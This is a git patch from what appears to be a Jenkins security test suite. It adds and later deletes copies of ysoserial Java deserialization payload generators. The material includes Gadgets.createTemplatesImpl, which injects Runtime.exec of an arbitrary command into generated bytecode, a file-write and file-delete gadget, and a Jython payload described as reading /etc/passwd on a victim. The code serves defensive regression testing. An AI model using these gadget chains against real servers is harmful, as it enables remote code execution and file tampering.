) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + public void release(DiskFileItem obj) throws Exception { + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java new file mode 100644 index 0000000000..7c21b91826 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java @@ -0,0 +1,24 @@ +package jenkins.security.security218.ysoserial.payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + String[] value() default {}; + + public static class Utils { + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java new file mode 100644 index 0000000000..33ab5f4419 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java @@ -0,0 +1,19 @@ +package jenkins.security.security218.ysoserial.payloads.annotation; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author mbechler + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface PayloadTest { + + String skip() default ""; + + String precondition() default ""; + + String harness() default ""; + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java new file mode 100644 index 0000000000..20a7417af9 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java @@ -0,0 +1,44 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java new file mode 100644 index 0000000000..0acba99335 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java @@ -0,0 +1,156 @@ +package jenkins.security.security218.ysoserial.payloads.util; + + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings ( { + "restriction", "rawtypes", "unchecked" +} ) +public class Gadgets { + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java new file mode 100644 index 0000000000..457604bb29 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java @@ -0,0 +1,36 @@ +package jenkins.security.security218.ysoserial.payloads.util; + + +/** + * @author mbechler + * + */ +public class JavaVersion { + + + public int major; + public int minor; + public int update; + + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + v.major = Integer.parseInt(parts[1]); + v.minor = Integer.parseInt(parts[2]); + v.update = Integer.parseInt(parts[3]); + return v; + } + + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } +} + diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java new file mode 100644 index 0000000000..9f717454a7 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java @@ -0,0 +1,44 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.util.concurrent.Callable; + +import jenkins.security.security218.ysoserial.Deserializer; +import jenkins.security.security218.ysoserial.Serializer; +import static jenkins.security.security218.ysoserial.Deserializer.deserialize; +import static jenkins.security.security218.ysoserial.Serializer.serialize; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); + + System.out.println("serializing payload"); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = Deserializer.deserialize(serialized); + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java new file mode 100644 index 0000000000..723c04bb29 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java @@ -0,0 +1,53 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +import sun.reflect.ReflectionFactory; + +@SuppressWarnings ( "restriction" ) +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field != null) + field.setAccessible(true); + else if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T)sc.newInstance(consArgs); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java new file mode 100755 index 0000000000..89929466af --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java @@ -0,0 +1,215 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.io.FileDescriptor; +import java.net.InetAddress; +import java.security.Permission; + +public class DelegateSecurityManager extends SecurityManager { + private SecurityManager securityManager; + + public SecurityManager getSecurityManager() { + return securityManager; + } + + public void setSecurityManager(SecurityManager securityManager) { + this.securityManager = securityManager; + } + + @Override + public boolean getInCheck() { + return getSecurityManager().getInCheck(); + } + + @Override + public Object getSecurityContext() { + return getSecurityManager().getSecurityContext(); + } + + @Override + public void checkPermission(Permission perm) { + getSecurityManager().checkPermission(perm); + } + + @Override + public void checkPermission(Permission perm, Object context) { + getSecurityManager().checkPermission(perm, context); + } + + @Override + public void checkCreateClassLoader() { + getSecurityManager().checkCreateClassLoader(); + } + + @Override + public void checkAccess(Thread t) { + getSecurityManager().checkAccess(t); + } + + @Override + public void checkAccess(ThreadGroup g) { + + getSecurityManager().checkAccess(g); + } + + @Override + public void checkExit(int status) { + + getSecurityManager().checkExit(status); + } + + @Override + public void checkExec(String cmd) { + + getSecurityManager().checkExec(cmd); + } + + @Override + public void checkLink(String lib) { + + getSecurityManager().checkLink(lib); + } + + @Override + public void checkRead(FileDescriptor fd) { + + getSecurityManager().checkRead(fd); + } + + @Override + public void checkRead(String file) { + + getSecurityManager().checkRead(file); + } + + @Override + public void checkRead(String file, Object context) { + + getSecurityManager().checkRead(file, context); + } + + @Override + public void checkWrite(FileDescriptor fd) { + + getSecurityManager().checkWrite(fd); + } + + @Override + public void checkWrite(String file) { + + getSecurityManager().checkWrite(file); + } + + @Override + public void checkDelete(String file) { + + getSecurityManager().checkDelete(file); + } + + @Override + public void checkConnect(String host, int port) { + + getSecurityManager().checkConnect(host, port); + } + + @Override + public void checkConnect(String host, int port, Object context) { + + getSecurityManager().checkConnect(host, port, context); + } + + @Override + public void checkListen(int port) { + + getSecurityManager().checkListen(port); + } + + @Override + public void checkAccept(String host, int port) { + + getSecurityManager().checkAccept(host, port); + } + + @Override + public void checkMulticast(InetAddress maddr) { + + getSecurityManager().checkMulticast(maddr); + } + + @Override + public void checkMulticast(InetAddress maddr, byte ttl) { + + getSecurityManager().checkMulticast(maddr, ttl); + } + + @Override + public void checkPropertiesAccess() { + + getSecurityManager().checkPropertiesAccess(); + } + + @Override + public void checkPropertyAccess(String key) { + + getSecurityManager().checkPropertyAccess(key); + } + + @Override + public boolean checkTopLevelWindow(Object window) { + + return getSecurityManager().checkTopLevelWindow(window); + } + + @Override + public void checkPrintJobAccess() { + + getSecurityManager().checkPrintJobAccess(); + } + + @Override + public void checkSystemClipboardAccess() { + + getSecurityManager().checkSystemClipboardAccess(); + } + + @Override + public void checkAwtEventQueueAccess() { + + getSecurityManager().checkAwtEventQueueAccess(); + } + + @Override + public void checkPackageAccess(String pkg) { + + getSecurityManager().checkPackageAccess(pkg); + } + + @Override + public void checkPackageDefinition(String pkg) { + + getSecurityManager().checkPackageDefinition(pkg); + } + + @Override + public void checkSetFactory() { + + getSecurityManager().checkSetFactory(); + } + + @Override + public void checkMemberAccess(Class clazz, int which) { + + getSecurityManager().checkMemberAccess(clazz, which); + } + + @Override + public void checkSecurityAccess(String target) { + + getSecurityManager().checkSecurityAccess(target); + } + + @Override + public ThreadGroup getThreadGroup() { + + return getSecurityManager().getThreadGroup(); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java new file mode 100644 index 0000000000..90ea39385e --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -0,0 +1,87 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.security.Permission; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Callable; + +public class ExecCheckingSecurityManager extends SecurityManager { + public ExecCheckingSecurityManager() { + this(true); + } + + public ExecCheckingSecurityManager(boolean throwException) { + this.throwException = throwException; + } + + private final boolean throwException; + + private final List cmds = new LinkedList(); + + public List getCmds() { + return Collections.unmodifiableList(cmds); + } + + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + @Override + public void checkExec(final String cmd) { + super.checkExec(cmd); + + cmds.add(cmd); + + if (throwException) { + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + } + }; + + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String threadName = Thread.currentThread().getName(); + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + public String getThreadName() { return threadName; } + @ + Override + public String getMessage() { + return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; + } + } + + public void wrap(final Runnable runnable) throws Exception { + wrap(new Callable(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public T wrap(final Callable callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); // save sm + System.setSecurityManager(this); + try { + T result = callable.call(); + if (throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } + return result; + } catch (Exception e) { + if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } else { + throw e; + } + } finally { + System.setSecurityManager(sm); // restore sm + } + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java new file mode 100755 index 0000000000..9dd35ca7d5 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -0,0 +1,33 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.util.concurrent.Callable; + +public class ThreadLocalSecurityManager extends DelegateSecurityManager { + + private final ThreadLocal threadDelegates + = new ThreadLocal(); + + public void install() { + System.setSecurityManager(this); + } + + @Override + public void setSecurityManager(SecurityManager threadManager) { + threadDelegates.set(threadManager); + } + + @Override + public SecurityManager getSecurityManager() { + return threadDelegates.get(); + } + + public V wrap(SecurityManager sm, Callable callable) throws Exception { + SecurityManager old = getSecurityManager(); + setSecurityManager(sm); + try { + return callable.call(); + } finally { + setSecurityManager(old); + } + } +} -- GitLab From 4fc68251e36b86da05ca842badb27549b049f2a0 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 17:13:07 -0500 Subject: [PATCH 492/811] Compileable ysoserial classes --- .../ysoserial/payloads/BeanShell1.java | 51 -------- .../ysoserial/payloads/JavassistWeld1.java | 79 ------------- .../ysoserial/payloads/Jython1.java | 106 ----------------- .../ysoserial/payloads/MozillaRhino1.java | 66 ----------- .../ysoserial/payloads/Myfaces1.java | 92 --------------- .../ysoserial/payloads/Myfaces2.java | 64 ---------- .../ysoserial/payloads/Wicket1.java | 111 ------------------ 7 files changed, 569 deletions(-) delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java deleted file mode 100644 index 0086afaa70..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java +++ /dev/null @@ -1,51 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import bsh.Interpreter; -import bsh.XThis; - -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.util.Comparator; -import java.util.PriorityQueue; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - */ - -@SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies({ "org.beanshell:bsh:2.0b5" }) -public class BeanShell1 extends PayloadRunner implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - // BeanShell payload - String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; - - // Create Interpreter - Interpreter i = new Interpreter(); - - // Evaluate payload - i.eval(payload); - - // Create InvocationHandler - XThis xt = new XThis(i.getNameSpace(), i); - InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); - - // Create Comparator Proxy - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - - // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) - final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[] {1,1}; - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - - return priorityQueue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(BeanShell1.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java deleted file mode 100644 index e52fe03dad..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java +++ /dev/null @@ -1,79 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; -import org.jboss.weld.interceptor.builder.MethodReference; -import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; -import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; -import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; -import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; -import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; -import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; -import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; -import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; -import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; -import org.jboss.weld.interceptor.spi.model.InterceptionModel; -import org.jboss.weld.interceptor.spi.model.InterceptionType; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -import java.lang.reflect.Constructor; -import java.util.*; - -/* - by @matthias_kaiser -*/ -@SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) -public class JavassistWeld1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - - final Object gadget = Gadgets.createTemplatesImpl(command); - - InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); - ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); - InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); - - Set s = new HashSet(); - s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); - - Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); - defaultMethodMetadataConstructor.setAccessible(true); - MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, - MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); - - List list = new ArrayList(); - list.add(methodMetadata); - Map> hashMap = new HashMap>(); - - hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); - SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); - - builder.interceptAll().with(simpleInterceptorMetadata); - - InterceptionModel model = builder.build(); - - HashMap map = new HashMap(); - map.put("ysoserial", "ysoserial"); - - DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); - - InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { - - public Object createFor(InterceptorReference paramInterceptorReference) { - - return gadget; - } - }; - - return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); - - } - - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(JavassistWeld1.class, args); - } -} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java deleted file mode 100644 index b014660241..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java +++ /dev/null @@ -1,106 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import org.apache.commons.io.FileUtils; -import org.python.core.*; - -import java.math.BigInteger; -import java.io.File; -import java.lang.reflect.Proxy; -import java.util.Arrays; -import java.util.Comparator; -import java.util.PriorityQueue; - -import jenkins.security.security218.ysoserial.payloads.util.Reflections; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - * - * This version of Jython1 writes a python script on the victim machine and - * executes it. The format of the parameters is: - * - * ; - * - * Where local path is the python script's location on the attack box and - * remote path is the location where the script will be written/executed from. - * For example: - * - * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" - * - * In the above example, if "read_etc_passwd.py" simply contained the string: - * - * raise Exception(open('/etc/passwd', 'r').read()) - * - * Then, when deserialized, the script will read in /etc/passwd and raise an - * exception with its contents (which could be useful if the target returns - * exception information). - */ - -@PayloadTest(skip="non RCE") -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) -@Dependencies({ "org.python:jython-standalone:2.5.2" }) -public class Jython1 extends PayloadRunner implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - - String[] paths = command.split(";"); - if (paths.length != 2) { - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); - } - - // Set payload parameters - String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); - - // Python bytecode to write a file on disk and execute it - String code = - "740000" + //0 LOAD_GLOBAL 0 (open) - "640100" + //3 LOAD_CONST 1 (remote path) - "640200" + //6 LOAD_CONST 2 ('w+') - "830200" + //9 CALL_FUNCTION 2 - "7D0000" + //12 STORE_FAST 0 (file) - 